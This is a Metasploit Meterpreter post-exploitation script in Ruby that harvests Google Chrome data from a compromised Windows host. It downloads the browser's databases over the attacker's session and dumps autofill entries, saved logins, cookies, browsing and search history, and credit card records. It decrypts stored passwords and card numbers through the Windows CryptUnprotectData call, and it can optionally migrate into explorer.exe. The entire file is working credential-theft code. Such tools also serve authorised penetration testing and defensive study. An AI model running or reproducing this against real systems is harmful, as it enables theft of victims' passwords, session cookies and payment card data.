metasploit-framework/scripts/meterpreter/enum_chrome.rb

#$Id$
#$Revision$
#
# Script to extract data from a chrome installation.
#
# Author: Sven Taute <sven dot taute at gmail com>
#

require 'sqlite3'
require 'yaml'

if client.platform !~ /win32/
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end
@host_info = client.sys.config.sysinfo
@chrome_files = [
	{ :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"},
	{ :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"},
	{ :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"},
	{ :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]},
	{ :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"},
	{ :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"},
	{ :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"},
	{ :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"},
	{ :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]},
	{ :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"},
	{ :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"},
]
@migrate = false
@old_pid = nil
@output_format = []

opts = Rex::Parser::Arguments.new(
	"-h" => [ false, "Help menu" ],
	"-m" => [ false, "Migrate into explorer.exe"],
	"-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"]
)

opts.parse(args) { |opt, idx, val|
	case opt
	when "-m"
		@migrate = true
	when "-f"
		if val =~ /^j(son)?$/
			@output_format << "json"
		elsif val =~ /^y(aml)?$/
			@output_format << "yaml"
		elsif val =~ /^t(ext)?$/
			@output_format << "text"
		else
			print_error("unknown format '#{val}'.")
			raise Rex::Script::Completed
		end
	when "-h"
		print_line("")
		print_line("DESCRIPTION: Script for enumerating preferences and extracting")
		print_line("information from the Google Chrome Browser on a target system.")
		print_line("Decryption of creditcard information and passwords only supported")
		print_line("on 32bit Windows Operating Systems.")
		print_line("")
		print_line("USAGE: run enum_chrome [-m]")
		print_line(opts.usage)
		raise Rex::Script::Completed
	end
}

@output_format << "json" if @output_format.empty?
if @output_format.include?("json")
	begin
		require 'json'
	rescue LoadError
		print_error("JSON is not available.")
		@output_format.delete("json")
		if @output_format.empty?
			print_status("Falling back to raw text output.")
			@output_format << "text"
		end
	end
end
print_status("using output format(s): " + @output_format.join(", "))

def prepare_railgun
	rg = client.railgun
	if (!rg.get_dll('crypt32'))
		rg.add_dll('crypt32')
	end

	if (!rg.crypt32.functions["CryptUnprotectData"])
		rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
				["PBLOB","pDataIn", "in"],
				["PWCHAR", "szDataDescr", "out"],
				["PBLOB", "pOptionalEntropy", "in"],
				["PDWORD", "pvReserved", "in"],
				["PBLOB", "pPromptStruct", "in"],
				["DWORD", "dwFlags", "in"],
				["PBLOB", "pDataOut", "out"]
			])
	end
end

def decrypt_data(data)
	rg = client.railgun
	pid = client.sys.process.open.pid
	process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

	mem = process.memory.allocate(1024)
	process.memory.write(mem, data)

	addr = [mem].pack("V")
	len = [data.length].pack("V")
	ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
	len, addr = ret["pDataOut"].unpack("V2")
	return "" if len == 0
	decrypted = process.memory.read(addr, len)
end

def write_output(file, rows)
	if @output_format.include?("json")
		::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) }
	end
	if @output_format.include?("yaml")
		::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) }
	end
	if @output_format.include?("text")
		::File.open(file + ".txt", "w") do |f|
			f.write(rows.first.keys.join("\t") + "\n")
			f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n"))
		end
	end
end

def process_files(username)
	@chrome_files.each do |item|
		in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file])
		out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file])
		if item[:sql]
			db = SQLite3::Database.new(in_file)
			columns, *rows = db.execute2(item[:sql])
			db.close
			rows.map! do |row|
				res = Hash[*columns.zip(row).flatten]
				if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
					if @host_info['Architecture'] !~ /x64/
						item[:encrypted_fields].each do |field|
							print_good("decrypting field '#{field}'...")
							res[field + "_decrypted"] = decrypt_data(res[field])
						end
					else
						print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS")
					end
				end
				res
			end
			if rows.length > 0
				print_status("writing output '#{item[:out_file]}'...")
				write_output(out_file, rows)
			else
				print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'")
			end
		else
			::FileUtils.cp(in_file, out_file)
		end
	end
end

def extract_data(username)
	chrome_path = @profiles_path + "\\" + username + @data_path
	begin
		client.fs.file.stat(chrome_path)
	rescue
		print_status("no files found for user '#{username}'")
		return false
	end

	@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
		remote_path = chrome_path + '\\' + f
		local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f)
		print_status("downloading file #{f} to '#{local_path}'...")
		client.fs.file.download_file(local_path, remote_path)
	end
	return true
end

if @migrate
	current_pid = client.sys.process.open.pid
	target_pid = client.sys.process["explorer.exe"]
	if target_pid != current_pid
		@old_pid = current_pid
		print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
		client.core.migrate(target_pid)
		print_status("done.")
	end
end

host = session.tunnel_peer.split(':')[0]
@log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M"))
::FileUtils.mkdir_p(@log_dir)

sysdrive = client.fs.file.expand_path("%SYSTEMDRIVE%")
os = @host_info['OS']
if os =~ /(Windows 7|2008|Vista)/
	@profiles_path = sysdrive + "\\Users\\"
	@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
elsif os =~ /(2000|NET|XP)/
	@profiles_path = sysdrive + "\\Documents and Settings\\"
	@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
end

usernames = []

uid = client.sys.config.getuid

if is_system?
	print_status "running as SYSTEM, extracting user list..."
	print_status "(decryption of passwords and credit card numbers will not be possible)"
	client.fs.dir.foreach(@profiles_path) do |u|
		usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
	end
	print_status "users found: #{usernames.join(", ")}"
else
	print_status "running as user '#{uid}'..."
	usernames << client.fs.file.expand_path("%USERNAME%")
	prepare_railgun
end

usernames.each do |u|
	print_status("extracting data for user '#{u}'...")
	success = extract_data(u)
	process_files(u) if success
end

if @migrate && @old_pid
	print_status("migrating back into PID=#{@old_pid}...")
	client.core.migrate(@old_pid)
	print_status("done.")
end

raise Rex::Script::Completed